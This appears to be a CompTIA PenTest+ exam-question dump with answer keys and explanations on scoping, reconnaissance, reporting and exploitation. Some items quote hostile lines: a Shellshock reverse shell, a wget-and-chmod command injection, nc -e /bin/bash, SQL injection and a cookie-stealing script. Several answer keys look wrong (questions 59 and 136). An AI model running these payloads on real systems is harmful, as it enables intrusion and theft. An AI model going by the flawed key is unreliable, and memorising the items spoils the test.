

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

A consultant is reviewing the following output after reports of intermittent connectivity issues:

- ? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
 - ? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
 - ? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
 - ? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
 - ? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
 - ? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
 - ? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
 - ? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet]
- Which of the following is MOST likely to be reported by the consultant?

- A. A device on the network has an IP address in the wrong subnet.
- B. A multicast session was initiated using the wrong multicast group.
- C. An ARP flooding attack is using the broadcast address to perform DDoS.
- D. A device on the network has poisoned the ARP cache.

Answer: D

Explanation:

The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as long as the gateway remains unreachable on the IP known by the other machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.

NEW QUESTION 2

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

Answer: AC

NEW QUESTION 3

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

- A. Set up a captive portal with embedded malicious code.
- B. Capture handshakes from wireless clients to crack.
- C. Span deauthentication packets to the wireless clients.
- D. Set up another access point and perform an evil twin attack.

Answer: C

NEW QUESTION 4

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

- A. An unknown-environment assessment
- B. A known-environment assessment
- C. A red-team assessment
- D. A compliance-based assessment

Answer: B

Explanation:

A known environment test is often more complete, because testers can get to every system, service, or other target that is in scope and will have credentials and other materials that will allow them to be tested.

NEW QUESTION 5

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite
- D. Ethercap

Answer: B

NEW QUESTION 6

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's

- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

Answer: A

NEW QUESTION 7

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

- A. Vulnerability scanning
- B. Network segmentation
- C. System hardening
- D. Intrusion detection

Answer: B

NEW QUESTION 8

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

- A. OWASP ZAP
- B. Nmap
- C. Nessus
- D. BeEF
- E. Hydra
- F. Burp Suite

Answer: AF

NEW QUESTION 9

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

Answer: B

NEW QUESTION 10

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

- A. Prohibiting exploitation in the production environment
- B. Requiring all testers to review the scoping document carefully
- C. Never assessing the production networks
- D. Prohibiting testers from joining the team during the assessment

Answer: B

NEW QUESTION 10

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

- A. Asset inventory
- B. DNS records
- C. Web-application scan
- D. Full scan

Answer: A

NEW QUESTION 15

Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

- A. Scope details
- B. Findings
- C. Methodology

D. Statement of work

Answer: C

NEW QUESTION 17

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

- A. Launch an external scan of netblocks.
- B. Check WHOIS and netblock records for the company.
- C. Use DNS lookups and dig to determine the external hosts.
- D. Conduct a ping sweep of the company's netblocks.

Answer: C

NEW QUESTION 18

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "() { ignored; }; /bin/sh -i ps -ef 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/10.10.1.1/80 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

Answer: A

NEW QUESTION 23

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite

Answer: B

NEW QUESTION 26

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. nmap -T3 192.168.0.1
- B. nmap -P0 192.168.0.1
- C. nmap -T0 192.168.0.1
- D. nmap -A 192.168.0.1

Answer: C

NEW QUESTION 28

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 31

A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

- A. SQLmap
- B. DirBuster
- C. w3af
- D. OWASP ZAP

Answer: C

Explanation:

W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.

NEW QUESTION 34

A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

- A. A handheld RF spectrum analyzer
- B. A mask and personal protective equipment
- C. Caution tape for marking off insecure areas
- D. A dedicated point of contact at the client
- E. The paperwork documenting the engagement
- F. Knowledge of the building's normal business hours

Answer: DE

Explanation:

Always carry the contact information and any documents stating that you are approved to do this.

NEW QUESTION 39

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

Answer: D

NEW QUESTION 43

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

Answer: A

NEW QUESTION 45

A penetration tester is reviewing the following DNS reconnaissance results for comptia.org from dig: comptia.org. 3569 IN MX comptia.org-mail.protection.outlook.com. comptia.org. 3569 IN A 3.219.13.186.
comptia.org.

3569 IN NS ns1.comptia.org. comptia.org. 3569 IN SOA haven. administrator.comptia.org. comptia.org. 3569 IN MX new.mx0.comptia.org. comptia.org. 3569 IN MX new.mx1.comptia.org.

Which of the following potential issues can the penetration tester identify based on this output?

- A. At least one of the records is out of scope.
- B. There is a duplicate MX record.
- C. The NS record is not within the appropriate domain.
- D. The SOA records outside the comptia.org domain.

Answer: A

NEW QUESTION 49

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

- A. WHOIS domain lookup
- B. Job listing and recruitment ads
- C. SSL certificate information
- D. Public data breach dumps

Answer: A

Explanation:

The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

NEW QUESTION 50

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:

- A. NDA
- B. SLA
- C. MSA
- D. SOW

Answer: A

Explanation:

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the NDA, which stands for Non-Disclosure Agreement. The NDA is a legal agreement between two or more parties that outlines confidential material or knowledge that the parties wish to share with one another, but with restrictions on access, use or disclosure of that information. The NDA is commonly used in the context of penetration testing to protect the client's sensitive information that the tester may have access to during the engagement.

The NDA defines the terms of confidentiality and non-disclosure of information related to the engagement, including the responsibilities and obligations of both the tester and the client to ensure that any information exchanged or obtained during the engagement is kept confidential and not disclosed to unauthorized parties.

This is particularly important in penetration testing, as the tester is granted access to the client's network and systems, and may uncover vulnerabilities or sensitive information that should not be disclosed to unauthorized parties.

In summary, the NDA plays a crucial role in defining the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure of confidential information, and is an important legal instrument for protecting the client's sensitive information during a penetration testing engagement.

NEW QUESTION 54

A penetration tester writes the following script:

```
#!/bin/bash
network= '10.100.100'
ports= '22 23 80 443'

for x in {1..254};
do (nc -zv $network.$x $ports );
done
```

Which of the following is the tester performing?

- A. Searching for service vulnerabilities
- B. Trying to recover a lost bind shell
- C. Building a reverse shell listening on specified ports
- D. Scanning a network for specific open ports

Answer: D

Explanation:

-z zero-I/O mode [used for scanning]

-v verbose

example output of script: 10.1.1.1 : inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open

(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out <https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for>

NEW QUESTION 59

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)
-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL <http://172.16.100.10:3000/profile>, a blank page was displayed.

Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run sudo before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

Answer: A

NEW QUESTION 60

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

Answer: C

NEW QUESTION 63

Deconfliction is necessary when the penetration test:

- A. determines that proprietary information is being stored in cleartext.
- B. occurs during the monthly vulnerability scanning.
- C. uncovers indicators of prior compromise over the course of the assessment.
- D. proceeds in parallel with a criminal digital forensic investigation.

Answer: C

Explanation:

This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

NEW QUESTION 65

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

```
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
```

Which of the following commands should the penetration tester run post-engagement?

- A. `grep -v apache ~/.bash_history > ~/.bash_history`
- B. `rm -rf /tmp/apache`
- C. `chmod 600 /tmp/apache`
- D. `taskkill /IM "apache" /F`

Answer: B

NEW QUESTION 70

Which of the following would a company's hunt team be MOST interested in seeing in a final report?

- A. Executive summary
- B. Attack TTPs
- C. Methodology
- D. Scope details

Answer: B

NEW QUESTION 72

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. `certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe`
- B. `powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')`
- C. `schtasks /query /fo LIST /v | find /I "Next Run Time:"`
- D. `wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe`

Answer: A

Explanation:

<https://www.bleepingcomputer.com/news/security/certutil.exe-could-allow-attackers-to-download-malware-while-https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

NEW QUESTION 77

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

- A. Changing to Wi-Fi equipment that supports strong encryption
- B. Using directional antennae
- C. Using WEP encryption
- D. Disabling Wi-Fi

Answer: A

NEW QUESTION 80

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

`http://company.com/catalog.asp?productid=22`

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

`http://company.com/catalog.asp?productid=22;WAITFOR`

`DELAY '00:00:05'`

Which of the following should the penetration tester attempt NEXT?

- A. `http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'`
- B. `http://company.com/catalog.asp?productid=22' OR 1=1 -`
- C. `http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -`
- D. `http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash`

Answer: C

Explanation:

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 84

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named `password.txt` in the `/home/svsacct` directory:

`U3VQZXIkM2NyZXQhCg==`

Which of the following commands should the tester use NEXT to decode the contents of the file?

- A. `echo U3VQZXIkM2NyZXQhCg== | base64 -d`
- B. `tar zxvf password.txt`
- C. `hydra -l svsacct -p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24`
- D. `john --wordlist /usr/share/seclists/rockyou.txt password.txt`

Answer: A

NEW QUESTION 87

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1 -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. `nc 10.10.1.2`
- B. `ssh 10.10.1.2`
- C. `nc 127.0.0.1 5555`
- D. `ssh 127.0.0.1 5555`

Answer: C

NEW QUESTION 91

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 94

A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:

```
netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.1.1.24:48850 24.176.9.43:59036 ESTABLISHED
tcp 0 0 0.0.0.0:22 :0.0.0.0* LISTEN
tcp 0 0 10.1.1.24:50112 136.12.56.217:58003 ESTABLISHED
tcp 0 0 10.1.1.24:80 115.93.193.245:40243 ESTABLISHED
tcp 0 0 10.1.1.24:80 210.117.12.2:40252 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 10.1.1.24:161 0.0.0.0:*
```

Which of the following should the penetration tester do NEXT?

- A. Close the reverse shell the tester is using.
- B. Note this finding for inclusion in the final report.
- C. Investigate the high numbered port connections.
- D. Contact the client immediately.

Answer: D

NEW QUESTION 99

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

Answer: D

Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 102

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

- A. Perform a new penetration test.
- B. Remediate the findings.
- C. Provide the list of common vulnerabilities and exposures.
- D. Broaden the scope of the penetration test.

Answer: B

NEW QUESTION 103

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

Answer: A

NEW QUESTION 106

Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

- A. DirBuster
- B. CeWL
- C. w3af
- D. Patator

Answer: B

Explanation:

CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add

words manually based on your own OSINT gathering efforts.
<https://esgeeks.com/como-utilizar-cewl/>

NEW QUESTION 111

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

Answer: C

NEW QUESTION 112

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

Answer: AE

NEW QUESTION 113

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

Answer: BE

Explanation:

A01-Injection
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 116

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

- A. PLCs will not act upon commands injected over the network.
- B. Supervisors and controllers are on a separate virtual network by default.
- C. Controllers will not validate the origin of commands.
- D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

NEW QUESTION 120

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

Answer: C

NEW QUESTION 122

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.

D. Identify all third parties involved.

Answer: A

NEW QUESTION 125

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

- A. Tailgating
- B. Dumpster diving
- C. Shoulder surfing
- D. Badge cloning

Answer: D

NEW QUESTION 130

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

Answer: D

Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 135

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

Answer: A

NEW QUESTION 136

A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()

try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))

except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

However, the tester is receiving the following error when trying to run the script:

```
$ python script.py 192.168.0.1
Traceback (most recent call last):
  File "script.py", line 7, in <module>
    if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

- A. The sys variable was not defined.
- B. The argv variable was not defined.
- C. The sys module was not imported.
- D. The argv module was not imported.

Answer: A

NEW QUESTION 139

The following PowerShell snippet was extracted from a log of an attacker machine:

```

1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5. return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9. return 0
10. }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " $test
23. $setipaddress = [ 192, 168, 1, 4]

```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

Answer: A

Explanation:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe

NEW QUESTION 140

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

Answer: B

NEW QUESTION 145

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

Answer: A

NEW QUESTION 147

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62

Which of the following commands can be used to further attack the website?

- A. <script>var adr= './evil.php?test=' + escape(document.cookie);</script>
- B. ../../../../../../etc/passwd
- C. /var/www/html/index.php;whoami
- D. 1 UNION SELECT 1, DATABASE(),3-

Answer: D

NEW QUESTION 148

A penetration tester ran the following command on a staging server: `python -m SimpleHTTPServer 9891`
Which of the following commands could be used to download a file named `exploit` to a target machine for execution?

- A. `nc 10.10.51.50 9891 < exploit`
- B. `powershell -exec bypass -f \\10.10.51.50\9891`
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit`
- D. `wget 10.10.51.50:9891/exploit`

Answer: D

NEW QUESTION 150

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 154

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

- A. `iam_enum_permissions`
- B. `iam_privesc_scan`
- C. `iam_backdoor_assume_role`
- D. `iam_bruteforce_permissions`

Answer: A

NEW QUESTION 159

A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

- A. `tcpdump`
- B. `Snort`
- C. `Nmap`
- D. `Netstat`
- E. `Fuzzer`

Answer: C

NEW QUESTION 162

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 164

A penetration tester utilized Nmap to scan host `64.13.134.52` and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

Answer: BD

NEW QUESTION 169

During the reconnaissance phase, a penetration tester obtains the following output:

Reply from 192.168.1.23: bytes=32 time<54ms TTL=128

Reply from 192.168.1.23: bytes=32 time<53ms TTL=128

Reply from 192.168.1.23: bytes=32 time<60ms TTL=128

Reply from 192.168.1.23: bytes=32 time<51ms TTL=128

Which of the following operating systems is MOST likely installed on the host?

- A. Linux
- B. NetBSD
- C. Windows
- D. macOS

Answer: C

NEW QUESTION 174

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

Answer: B

NEW QUESTION 176

After running the enum4linux.pl command, a penetration tester received the following output:

```

=====
|   Enumerating Workgroup/Domain on 192.168.100.56   |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
|   Session Check on 192.168.100.56   |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
|   Getting domain SID for 192.168.100.56   |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
|   Share Enumeration on 192.168.100.56   |
=====
      Sharename Type Comment
      -----
      print$ Disk Printer Drivers
      web Disk File Server
      IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
